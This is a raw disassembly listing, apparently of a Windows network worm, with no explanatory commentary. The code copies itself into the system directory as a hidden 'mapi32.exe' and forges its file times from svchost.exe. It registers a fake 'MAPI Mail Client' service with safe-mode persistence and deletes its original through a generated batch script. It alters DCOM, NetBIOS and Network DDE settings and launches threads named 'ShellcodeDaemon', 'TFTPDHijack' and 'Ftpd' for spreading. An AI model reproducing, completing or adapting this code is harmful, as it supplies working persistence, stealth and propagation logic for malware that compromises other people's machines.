call dword_40101C
mov edi, eax
cmp edi, ebx
jnz short loc_408972
xor al, al
jmp short loc_408998
; ---------------------------------------------------------------------------
loc_408972: ; CODE XREF: sub_408953+19j
push esi
push 0F01FFh
push [esp+10h+arg_0]
push edi
call dword_401020
mov esi, dword_401024
cmp eax, ebx
jz short loc_408992
push eax
call esi ; dword_401024
mov bl, 1
loc_408992: ; CODE XREF: sub_408953+38j
push edi
call esi ; dword_401024
mov al, bl
pop esi
loc_408998: ; CODE XREF: sub_408953+1Dj
pop edi
pop ebx
retn
sub_408953 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40899B proc near ; CODE XREF: sub_405CEC:loc_405D31p
; sub_40933F:loc_40954Cp
var_218 = byte ptr -218h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 218h
push ebx
xor ebx, ebx
push 2
push ebx
push ebx
call dword_40101C
cmp eax, ebx
mov [ebp+var_C], eax
jz loc_408A85
push esi
push edi
mov edi, 0F003Fh
mov esi, offset aMapi ; "MAPI"
push edi
push esi
push eax
call dword_401020
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_408A7A
push esi
lea eax, [ebp+var_218]
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40AB94
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
push edi
lea eax, [ebp+var_218]
push ebx
push eax
push 80000002h
call dword_401010
test eax, eax
jnz short loc_408A71
push 2
lea eax, [ebp+var_10]
pop edi
mov esi, dword_401014
push 4
push eax
push 4
push ebx
push offset aStart ; "Start"
mov [ebp+var_10], edi
push [ebp+var_4]
call esi ; dword_401014
lea eax, [ebp+var_114]
push 104h
push eax
push ebx
call dword_4010C8 ; GetModuleHandleA
push eax
call dword_4010D0 ; GetModuleFileNameA
lea eax, [ebp+var_114]
push eax
call dword_4010CC ; lstrlenA
inc eax
push eax
lea eax, [ebp+var_114]
push eax
push edi
push ebx
push offset aImagepath ; "ImagePath"
push [ebp+var_4]
call esi ; dword_401014
push [ebp+var_4]
call dword_401018
loc_408A71: ; CODE XREF: sub_40899B+70j
push [ebp+var_8]
call dword_401024
loc_408A7A: ; CODE XREF: sub_40899B+3Bj
push [ebp+var_C]
call dword_401024
pop edi
pop esi
loc_408A85: ; CODE XREF: sub_40899B+1Bj
pop ebx
leave
retn
sub_40899B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408A88 proc near ; CODE XREF: sub_405CEC+3Ep
; sub_40933F+206p
var_13C = byte ptr -13Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 13Ch
push esi
xor esi, esi
push 2
push esi
push esi
call dword_40101C
cmp eax, esi
mov [ebp+var_14], eax
jz loc_408C28
push ebx
push edi
lea eax, [ebp+var_13C]
push 105h
push eax
push esi
call dword_4010D0 ; GetModuleFileNameA
test eax, eax
jbe loc_408C1D
push esi
push esi
push esi
push esi
lea eax, [ebp+var_13C]
push esi
push eax
push esi
push 2
push 110h
push 0F01FFh
push offset aMapiMailClient ; "MAPI Mail Client"
push offset aMapi ; "MAPI"
push [ebp+var_14]
call dword_401000
cmp eax, esi
mov [ebp+var_C], eax
jz loc_408C1D
mov ebx, dword_401004
lea ecx, [ebp+var_20]
push 1
mov [ebp+var_24], ecx
pop edi
lea ecx, [ebp+var_34]
push ecx
push 2
push eax
mov [ebp+var_1C], edi
mov [ebp+var_20], edi
mov [ebp+var_18], offset aEnablesSupport ; "Enables support for the Messaging Appli"...
mov [ebp+var_34], 5
mov [ebp+var_30], esi
mov [ebp+var_2C], esi
mov [ebp+var_28], edi
call ebx ; dword_401004
lea eax, [ebp+var_18]
push eax
push edi
push [ebp+var_C]
call ebx ; dword_401004
push esi
push esi
push [ebp+var_C]
call dword_401008
push [ebp+var_C]
call dword_401024
mov ebx, dword_401010
lea eax, [ebp+var_10]
mov edi, 0F003Fh
push eax
push edi
push esi
push offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Control\\SafeBo"...
push 80000002h
call ebx ; dword_401010
test eax, eax
jnz loc_408C1D
lea eax, [ebp+var_8]
push eax
push edi
push esi
push offset aMinimal ; "Minimal"
push [ebp+var_10]
call ebx ; dword_401010
test eax, eax
mov ebx, offset aService ; "Service"
jnz short loc_408BC5
lea eax, [ebp+var_8]
push esi
push eax
push esi
push edi
push esi
push esi
push esi
push offset aMapi ; "MAPI"
push [ebp+var_8]
call dword_40100C
push ebx
call sub_40ABD2
pop ecx
push eax
push ebx
push 1
push esi
push esi
push [ebp+var_8]
call dword_401014
push [ebp+var_8]
call dword_401018
loc_408BC5: ; CODE XREF: sub_408A88+104j
lea eax, [ebp+var_4]
push eax
push edi
push esi
push offset aNetwork ; "Network"
push [ebp+var_10]
call dword_401010
test eax, eax
jnz short loc_408C14
lea eax, [ebp+var_4]
push esi
push eax
push esi
push edi
push esi
push esi
push esi
push offset aMapi ; "MAPI"
push [ebp+var_4]
call dword_40100C
push ebx
call sub_40ABD2
pop ecx
push eax
push ebx
push 1
push esi
push esi
push [ebp+var_4]
call dword_401014
push [ebp+var_4]
call dword_401018
loc_408C14: ; CODE XREF: sub_408A88+153j
push [ebp+var_10]
call dword_401018
loc_408C1D: ; CODE XREF: sub_408A88+38j
; sub_408A88+6Fj ...
push [ebp+var_14]
call dword_401024
pop edi
pop ebx
loc_408C28: ; CODE XREF: sub_408A88+1Bj
pop esi
leave
retn
sub_408A88 endp
; =============== S U B R O U T I N E =======================================
sub_408C2B proc near ; DATA XREF: sub_408C7B+11o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_408C51
dec eax
jz short loc_408C3E
dec eax
jz short loc_408C3E
dec eax
jz short loc_408C3E
dec eax
jz short loc_408C51
loc_408C3E: ; CODE XREF: sub_408C2B+8j
; sub_408C2B+Bj ...
push offset dword_40B0A0
push dword_40B0BC
call dword_40103C
jmp short locret_408C78
; ---------------------------------------------------------------------------
loc_408C51: ; CODE XREF: sub_408C2B+5j
; sub_408C2B+11j
push offset dword_40B0A0
mov dword_40B0A4, 3
push dword_40B0BC
call dword_40103C
push dword_40B0C0
call dword_4010C4 ; SetEvent
locret_408C78: ; CODE XREF: sub_408C2B+24j
retn 4
sub_408C2B endp
; =============== S U B R O U T I N E =======================================
sub_408C7B proc near ; DATA XREF: sub_408D6E+19o
push ebx
push ebp
push 1
xor ebx, ebx
pop ebp
mov dword_40B0A0, 30h
push offset sub_408C2B
push offset aMapi ; "MAPI"
mov dword_40B0A4, ebp
mov dword_40B0A8, ebx
mov dword_40B0AC, ebx
mov dword_40B0B0, ebx
mov dword_40B0B4, ebx
mov dword_40B0B8, ebx
call dword_401028
cmp eax, ebx
mov dword_40B0BC, eax
jz loc_408D69
push esi
mov esi, dword_40103C
push edi
mov edi, offset dword_40B0A0
push edi
push eax
mov dword_40B0A4, 2
call esi ; dword_40103C
push ebx
push ebx
push ebx
push ebx
call dword_401080 ; CreateEventA
or dword_40B0A8, 5
push edi
push dword_40B0BC
mov dword_40B0C0, eax
mov dword_40B0A4, 4
call esi ; dword_40103C
cmp byte_40B0D2, bl
jnz short loc_408D1E
call sub_40933F
loc_408D1E: ; CODE XREF: sub_408C7B+9Cj
push 0FFFFFFFFh
push dword_40B0C0
call dword_4010B8 ; WaitForSingleObject
push edi
mov dword_40B0A4, 3
push dword_40B0BC
call esi ; dword_40103C
push dword_40B0C0
call dword_4010BC ; CloseHandle
and dword_40B0A8, 0FFFFFFFAh
push edi
push dword_40B0BC
mov dword_40B0C0, ebx
mov dword_40B0A4, ebp
call esi ; dword_40103C
pop edi
pop esi
loc_408D69: ; CODE XREF: sub_408C7B+4Cj
pop ebp
pop ebx
retn 8
sub_408C7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D6E proc near ; CODE XREF: sub_40933F+212p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_8], 0
and [ebp+var_4], 0
lea eax, [ebp+var_10]
mov [ebp+var_10], offset aMapi ; "MAPI"
push eax
mov [ebp+var_C], offset sub_408C7B
call dword_40102C
leave
retn
sub_408D6E endp
; =============== S U B R O U T I N E =======================================
sub_408D96 proc near ; CODE XREF: sub_408EAB+3Ep
arg_0 = dword ptr 4
push ebx
push ebp
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_40101C
mov ebp, eax
cmp ebp, ebx
jnz short loc_408DB1
xor al, al
jmp short loc_408DE6
; ---------------------------------------------------------------------------
loc_408DB1: ; CODE XREF: sub_408D96+15j
push esi
push edi
push 0F01FFh
push [esp+14h+arg_0]
push ebp
call dword_401020
mov edi, dword_401024
mov esi, eax
cmp esi, ebx
jz short loc_408DDF
push esi
call dword_401030
test eax, eax
jz short loc_408DDC
mov bl, 1
loc_408DDC: ; CODE XREF: sub_408D96+42j
push esi
call edi ; dword_401024
loc_408DDF: ; CODE XREF: sub_408D96+37j
push ebp
call edi ; dword_401024
pop edi
mov al, bl
pop esi
loc_408DE6: ; CODE XREF: sub_408D96+19j
pop ebp
pop ebx
retn
sub_408D96 endp
; =============== S U B R O U T I N E =======================================
sub_408DE9 proc near ; CODE XREF: sub_40933F+Cp
push offset aXmapimailclien ; "xMAPIMailClientx"
push 1
push 0
call dword_401048 ; CreateMutexA
call dword_401044 ; RtlGetLastWin32Error
cmp eax, 0B7h
setz al
retn
sub_408DE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E07 proc near ; CODE XREF: sub_409016+F4p
; sub_409016+12Ap
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aSvchost_exe ; "svchost.exe"
push esi
call dword_401058 ; SearchPathA
test eax, eax
jz short loc_408EA6
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_401054
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; dword_401054
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_408EA6
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_401050 ; GetFileTime
push ebx
mov ebx, dword_4010BC
call ebx ; dword_4010BC
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; dword_401054
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_408EA6
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_40104C ; SetFileTime
push esi
call ebx ; dword_4010BC
loc_408EA6: ; CODE XREF: sub_408E07+2Aj
; sub_408E07+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_408E07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408EAB proc near ; CODE XREF: sub_408825+112p
; sub_409016+10Dp
var_710 = byte ptr -710h
var_310 = byte ptr -310h
var_20C = byte ptr -20Ch
var_108 = byte ptr -108h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 710h
push esi
push edi
xor edi, edi
push offset aXmapimailclien ; "xMAPIMailClientx"
push edi
push 1F0001h
call dword_401074 ; OpenMutexA
cmp eax, edi
jz short loc_408ED4
push eax
call dword_401070 ; ReleaseMutex
loc_408ED4: ; CODE XREF: sub_408EAB+20j
push offset aControlHandler ; "Control Handler"
call sub_40A64F
push eax
call sub_40A56C
push offset aMapi ; "MAPI"
call sub_408D96
add esp, 0Ch
lea eax, [ebp+var_710]
push eax
push 400h
call dword_40106C ; GetTempPathA
lea eax, [ebp+var_710]
push eax
lea eax, [ebp+var_108]
push offset aSerase_bat ; "%serase.bat"
push eax
call sub_40AB94
add esp, 0Ch
lea eax, [ebp+var_108]
push edi
push edi
push 2
push edi
push edi
push 40000000h
push eax
call dword_401054 ; CreateFileA
mov esi, eax
cmp esi, edi
jbe loc_409007
lea eax, [ebp+var_710]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_40AB94
pop ecx
lea eax, [ebp+var_4]
pop ecx
push edi
push eax
lea eax, [ebp+var_710]
push eax
call sub_40ABD2
pop ecx
push eax
lea eax, [ebp+var_710]
push eax
push esi
call dword_401068 ; WriteFile
push esi
call dword_4010BC ; CloseHandle
mov esi, 104h
lea eax, [ebp+var_20C]
push esi
push eax
push edi
call dword_4010C8 ; GetModuleHandleA
push eax
call dword_4010D0 ; GetModuleFileNameA
lea eax, [ebp+var_20C]
push eax
call dword_401064 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_408FBA
lea eax, [ebp+var_20C]
push 80h
push eax
call dword_401060 ; SetFileAttributesA
loc_408FBA: ; CODE XREF: sub_408EAB+FBj
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_710]
push offset aComspecCSSS ; "%%comspec%% /c %s %s %s"
push eax
call sub_40AB94
add esp, 14h
lea eax, [ebp+var_310]
push esi
push eax
lea eax, [ebp+var_710]
push eax
call dword_40105C ; ExpandEnvironmentStringsA
lea eax, [ebp+var_310]
push edi
push eax
call sub_40A8E0
pop ecx
pop ecx
loc_409007: ; CODE XREF: sub_408EAB+8Fj
call dword_401248
push edi
call dword_4010F0 ; ExitProcess
pop edi
pop esi
sub_408EAB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409016 proc near ; CODE XREF: sub_40933F+1F2p
var_21C = byte ptr -21Ch
var_119 = byte ptr -119h
var_118 = byte ptr -118h
push ebp
mov ebp, esp
sub esp, 21Ch
push esi
push edi
lea eax, [ebp+var_21C]
push 104h
xor edi, edi
push eax
push edi
call dword_4010D0 ; GetModuleFileNameA
lea eax, [ebp+var_118]
push 118h
push eax
call dword_4010F8 ; GetSystemDirectoryA
lea eax, [ebp+var_118]
push eax
call dword_4010CC ; lstrlenA
cmp [ebp+eax+var_119], 5Ch
mov esi, dword_40107C
jz short loc_409073
lea eax, [ebp+var_118]
push offset asc_4035E8 ; "\\"
push eax
call esi ; dword_40107C
loc_409073: ; CODE XREF: sub_409016+4Dj
lea eax, [ebp+var_118]
push offset aMapi32_exe ; "mapi32.exe"
push eax
call esi ; dword_40107C
lea eax, [ebp+var_118]
push eax
call sub_40A690
test al, al
pop ecx
jnz loc_40912A
push edi
push 80h
push 2
push edi
push 3
lea eax, [ebp+var_118]
push 40000000h
push eax
call dword_401054 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_4090BE
cmp esi, 0FFFFFFFFh
jnz short loc_4090D0
loc_4090BE: ; CODE XREF: sub_409016+A1j
lea eax, [ebp+var_118]
push eax
call dword_401064 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4090F0
loc_4090D0: ; CODE XREF: sub_409016+A6j
push esi
call dword_4010BC ; CloseHandle
lea eax, [ebp+var_118]
push edi
push eax
lea eax, [ebp+var_21C]
push eax
call dword_401078 ; CopyFileA
test eax, eax
jnz short loc_4090F4
loc_4090F0: ; CODE XREF: sub_409016+B8j
xor al, al
jmp short loc_409148
; ---------------------------------------------------------------------------
loc_4090F4: ; CODE XREF: sub_409016+D8j
lea eax, [ebp+var_118]
push 7
push eax
call dword_401060 ; SetFileAttributesA
lea eax, [ebp+var_118]
push eax
call sub_408E07
lea eax, [ebp+var_118]
push edi
push eax
call sub_40A8E0
add esp, 0Ch
test eax, eax
jz short loc_409146
call sub_408EAB
jmp short loc_409146
; ---------------------------------------------------------------------------
loc_40912A: ; CODE XREF: sub_409016+7Aj
lea eax, [ebp+var_118]
push 7
push eax
call dword_401060 ; SetFileAttributesA
lea eax, [ebp+var_118]
push eax
call sub_408E07
pop ecx
loc_409146: ; CODE XREF: sub_409016+10Bj
; sub_409016+112j
mov al, 1
loc_409148: ; CODE XREF: sub_409016+DCj
pop edi
pop esi
leave
retn
sub_409016 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40914C proc near ; CODE XREF: sub_404530+A5Bp
; sub_40933F+217p
var_320 = byte ptr -320h
var_120 = byte ptr -120h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 320h
push ebx
push esi
lea eax, [ebp+var_4]
push edi
mov edi, dword_401010
push eax
xor esi, esi
push 8
push esi
mov ebx, 80000002h
push offset aSystemCurren_1 ; "SYSTEM\\CurrentControlSet\\Services\\TcpIp"...
push ebx
call edi ; dword_401010
test eax, eax
jnz loc_409239
lea eax, [ebp+var_1C]
mov [ebp+var_C], 200h
push eax
push esi
push esi
lea eax, [ebp+var_C]
push esi
push eax
lea eax, [ebp+var_320]
mov [ebp+var_8], 2
push eax
mov [ebp+var_10], 1
push esi
loc_4091A4: ; CODE XREF: sub_40914C+DFj
push [ebp+var_4]
call dword_401038
test eax, eax
jnz short loc_409230
lea eax, [ebp+var_320]
push eax
lea eax, [ebp+var_120]
push offset aSystemCurren_2 ; "SYSTEM\\CurrentControlSet\\Services\\NetBT"...
push eax
call sub_40AB94
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
push 0F003Fh
lea eax, [ebp+var_120]
push esi
push eax
push ebx
call edi ; dword_401010
test eax, eax
jnz short loc_409204
lea eax, [ebp+var_8]
push 4
push eax
push 4
push esi
push offset aNetbiosoptions ; "NetbiosOptions"
push [ebp+var_4]
call dword_401014
push [ebp+var_14]
call dword_401018
loc_409204: ; CODE XREF: sub_40914C+96j
mov eax, [ebp+var_10]
lea ecx, [ebp+var_1C]
inc [ebp+var_10]
push ecx
push esi
push esi
lea ecx, [ebp+var_C]
push esi
push ecx
lea ecx, [ebp+var_320]
push ecx
mov [ebp+var_C], 200h
mov [ebp+var_8], 2
push eax
jmp loc_4091A4
; ---------------------------------------------------------------------------
loc_409230: ; CODE XREF: sub_40914C+63j
push [ebp+var_4]
call dword_401018
loc_409239: ; CODE XREF: sub_40914C+2Aj
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push esi
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\OLE"
push ebx
call edi ; dword_401010
test eax, eax
jnz short loc_409270
push 3
push offset aN ; "N"
push 1
push esi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_401014
push [ebp+var_4]
call dword_401018
loc_409270: ; CODE XREF: sub_40914C+101j
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push esi
push offset aSystemCurren_3 ; "SYSTEM\\CurrentControlSet\\Services\\NetDD"...
push ebx
call edi ; dword_401010
test eax, eax
jnz short loc_4092AD
lea eax, [ebp+var_8]
push 4
push eax
push 4
push esi
push offset aStart ; "Start"
push [ebp+var_4]
mov [ebp+var_8], 3
call dword_401014
push [ebp+var_4]
call dword_401018
loc_4092AD: ; CODE XREF: sub_40914C+138j
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push esi
call dword_40101C
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4092FD
push 0F01FFh
push offset aNetworkDde ; "Network DDE"
push eax
call dword_401020
cmp eax, esi
mov [ebp+var_8], eax
jz short loc_4092F4
push offset dword_40B0A0
push 1
push eax
call dword_401034
push [ebp+var_8]
call dword_401024
loc_4092F4: ; CODE XREF: sub_40914C+18Fj
push [ebp+var_C]
call dword_401024
loc_4092FD: ; CODE XREF: sub_40914C+177j
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push esi
push offset aSystemCurren_4 ; "SYSTEM\\CurrentControlSet\\Services\\W3SVC"...
push ebx
call edi ; dword_401010
test eax, eax
jnz short loc_40933A
lea eax, [ebp+var_8]
push 4
push eax
push 4
push esi
push offset aMaxclientreque ; "MaxClientRequestBuffer"
push [ebp+var_4]
mov [ebp+var_8], 4000h
call dword_401014
push [ebp+var_4]
call dword_401018
loc_40933A: ; CODE XREF: sub_40914C+1C5j
pop edi
pop esi
pop ebx
leave
retn
sub_40914C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40933F proc near ; CODE XREF: sub_408C7B+9Ep
; sub_40933F+225p
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_C = word ptr -0Ch
var_4 = word ptr -4
var_2 = byte ptr -2
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
call sub_408DE9
test al, al
jnz loc_409507
call sub_40AA5D
test al, al
jnz loc_409507
mov esi, dword_4010FC
mov byte_40B0D2, 1
call esi ; dword_4010FC
push eax
call sub_40AC3A
push 0Ah
push 4
call sub_40A818
push eax
call sub_40A77F
add esp, 10h
mov dword_40B278, eax
call esi ; dword_4010FC
mov edi, dword_4010F4
mov dword_40B27C, eax
loc_40939E: ; CODE XREF: sub_40933F+78j
call sub_409688
test al, al
jz short loc_4093B0
call sub_4052A5
test al, al
jnz short loc_4093B9
loc_4093B0: ; CODE XREF: sub_40933F+66j
push 3E8h
call edi ; dword_4010F4
jmp short loc_40939E
; ---------------------------------------------------------------------------
loc_4093B9: ; CODE XREF: sub_40933F+6Fj
lea eax, [ebp+var_10C]
push 100h
push eax
call dword_401224
xor ebx, ebx
test eax, eax
jz short loc_4093DB
lea eax, [ebp+var_10C]
test eax, eax
jz short loc_409445
loc_4093DB: ; CODE XREF: sub_40933F+90j
lea eax, [ebp+var_10C]
push eax
call dword_401250
cmp eax, ebx
jz short loc_409445
mov esi, [eax+0Ch]
loc_4093EF: ; CODE XREF: sub_40933F+104j
mov eax, [esi]
cmp eax, ebx
jz short loc_409445
movzx ecx, byte ptr [eax+3]
push ecx
movzx ecx, byte ptr [eax+2]
push ecx
movzx ecx, byte ptr [eax+1]
movzx eax, byte ptr [eax]
push ecx
push eax
lea eax, [ebp+var_10C]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_40AB94
lea eax, [ebp+var_10C]
push eax
push off_403730
call sub_40ABA0
add esp, 20h
lea eax, [ebp+var_10C]
push eax
call dword_40124C
mov dword_40B244, eax
add esi, 4
jmp short loc_4093EF
; ---------------------------------------------------------------------------
loc_409445: ; CODE XREF: sub_40933F+9Aj
; sub_40933F+ABj ...
push offset aProtocolHandle ; "Protocol Handler"
push 1
pop esi
push esi
push ebx
push offset sub_40549A
call sub_40A45C
push offset aControlHandler ; "Control Handler"
push esi
push ebx
push offset sub_405CEC
call sub_40A45C
push offset aTftpdhijack ; "TFTPDHijack"
push esi
push ebx
push offset sub_407BC9
call sub_40A45C
push dword_40B244
call sub_40715A
add esp, 34h
test eax, eax
jz short loc_409502
push 0FFFFh
push 400h
call sub_40A818
mov word_40B24A, ax
mov [ebp+var_C], ax
push offset aShellcodedaemo ; "ShellcodeDaemon"
lea eax, [ebp+var_C]
push esi
push eax
push offset sub_40785E
call sub_40A45C
mov dword_40B270, ebx
mov [ebp+var_1], bl
mov [ebp+var_2], bl
call sub_40AC34
cdq
mov ecx, 0FC17h
push offset aFtpd ; "Ftpd"
idiv ecx
lea eax, [ebp+var_4]
push esi
push eax
push offset sub_407F46
add edx, 3E8h
mov word_40B0D0, dx
mov [ebp+var_4], dx
call sub_40A45C
add esp, 28h
push 3A98h
call edi ; dword_4010F4
loc_409502: ; CODE XREF: sub_40933F+14Cj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_409507: ; CODE XREF: sub_40933F+13j
; sub_40933F+20j
push 0
call dword_4010F0 ; ExitProcess
sub esp, 190h
push 2
call dword_401084 ; SetErrorMode
and byte_40B0D2, 0
lea eax, [esp+18Ch+var_18C]
push eax
push 2
call dword_401228
call sub_409016
push offset aMapi ; "MAPI"
call sub_408953
test al, al
pop ecx
jnz short loc_40954C
call sub_408A88
jmp short loc_40955B
; ---------------------------------------------------------------------------
loc_40954C: ; CODE XREF: sub_40933F+204j
call sub_40899B
call sub_408D6E
call sub_40914C
loc_40955B: ; CODE XREF: sub_40933F+20Bj
cmp byte_40B0D2, 0
jnz short loc_409569
call sub_40933F
loc_409569: ; CODE XREF: sub_40933F+223j
add esp, 190h
retn
sub_40933F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409570 proc near ; CODE XREF: sub_4052A5+21p
; sub_4052A5+3Dp ...
var_84 = byte ptr -84h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 84h
cmp [ebp+arg_0], 0
jnz short loc_409586
push offset byte_40B078
jmp short loc_409589
; ---------------------------------------------------------------------------
loc_409586: ; CODE XREF: sub_409570+Dj
push [ebp+arg_0]
loc_409589: ; CODE XREF: sub_409570+14j
lea eax, [ebp+var_84]
push eax
call sub_40ABA0
pop ecx
lea eax, [ebp+var_84]
pop ecx
push eax
call dword_401250
test eax, eax
jz short loc_4095B7
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_401220
leave
retn
; ---------------------------------------------------------------------------
loc_4095B7: ; CODE XREF: sub_409570+36j
push [ebp+arg_0]
call dword_40124C
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_4095DE
push 2
lea eax, [ebp+var_4]
push 4
push eax
call dword_401208
test eax, eax
jz short loc_4095DE
mov eax, [eax]
leave
retn
; ---------------------------------------------------------------------------
loc_4095DE: ; CODE XREF: sub_409570+56j
; sub_409570+68j
xor eax, eax
leave
retn
sub_409570 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4095E2 proc near ; CODE XREF: sub_4055A6+6CBp
; sub_4055A6+704p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
cmp [ebp+arg_0], 0
push esi
push edi
jz loc_409682
push offset byte_40B078
push [ebp+arg_0]
call sub_40ABB2
pop ecx
test eax, eax
pop ecx
jz short loc_409682
push 20h
lea eax, [ebp+var_20]
push [ebp+arg_0]
push eax
call sub_40AC28
mov esi, offset a_ ; "."
lea eax, [ebp+var_20]
push esi
push eax
call sub_40ABB8
add esp, 14h
test eax, eax
jz short loc_409682
push eax
call sub_40ABAC
push esi
push 0
mov edi, eax
call sub_40ABB8
add esp, 0Ch
test eax, eax
jz short loc_409682
push eax
call sub_40ABAC
cmp edi, 0Ah
pop ecx
jz short loc_40967E
cmp edi, 0ACh
jnz short loc_409660
cmp eax, 0Fh
jle short loc_409682
cmp eax, 20h
jl short loc_40967E
loc_409660: ; CODE XREF: sub_4095E2+72j
cmp edi, 0A9h
jnz short loc_40966F
cmp eax, 0FEh
jz short loc_40967E
loc_40966F: ; CODE XREF: sub_4095E2+84j
cmp edi, 0C0h
jnz short loc_409682
cmp eax, 0A8h
jnz short loc_409682
loc_40967E: ; CODE XREF: sub_4095E2+6Aj
; sub_4095E2+7Cj ...
mov al, 1
jmp short loc_409684
; ---------------------------------------------------------------------------
loc_409682: ; CODE XREF: sub_4095E2+Cj
; sub_4095E2+23j ...
xor al, al
loc_409684: ; CODE XREF: sub_4095E2+9Ej
pop edi
pop esi
leave
retn
sub_4095E2 endp
; =============== S U B R O U T I N E =======================================
sub_409688 proc near ; CODE XREF: sub_40933F:loc_40939Ep
var_4 = byte ptr -4
push ecx
lea eax, [esp+4+var_4]
push 0
push eax
call dword_4011E8
test eax, eax
setnz al
pop ecx
retn
sub_409688 endp
; =============== S U B R O U T I N E =======================================
sub_40969D proc near ; CODE XREF: sub_4052A5+16p
push esi
push edi
push offset aDnsapi_dll ; "dnsapi.dll"
call dword_401090 ; LoadLibraryA
mov esi, eax
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push esi
call dword_40108C ; GetProcAddress
call eax
push esi
mov edi, eax
call dword_401088 ; FreeLibrary
mov eax, edi
pop edi
pop esi
retn
sub_40969D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4096C8 proc near ; CODE XREF: sub_405DB7+18p
var_2014 = byte ptr -2014h
var_2012 = byte ptr -2012h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2014h
call sub_40ABE0
mov eax, [ebp+arg_4]
push ebx
push esi
dec eax
push edi
jz short loc_409707
dec eax
jz short loc_4096E9
dec eax
loc_4096E2: ; CODE XREF: sub_4096C8+8Ej
; sub_4096C8+ABj
xor eax, eax
jmp loc_40982F
; ---------------------------------------------------------------------------
loc_4096E9: ; CODE XREF: sub_4096C8+17j
push 3
push 1388h
push [ebp+arg_0]
call sub_407165
add esp, 0Ch
neg al
sbb eax, eax
and eax, 3
jmp loc_40982F
; ---------------------------------------------------------------------------
loc_409707: ; CODE XREF: sub_4096C8+14j
xor esi, esi
push esi
push 1
push 2
mov [ebp+var_4], esi
call dword_401234
mov edi, eax
push 10h
lea eax, [ebp+var_14]
push esi
push eax
mov [ebp+arg_4], edi
call sub_40AC10
add esp, 0Ch
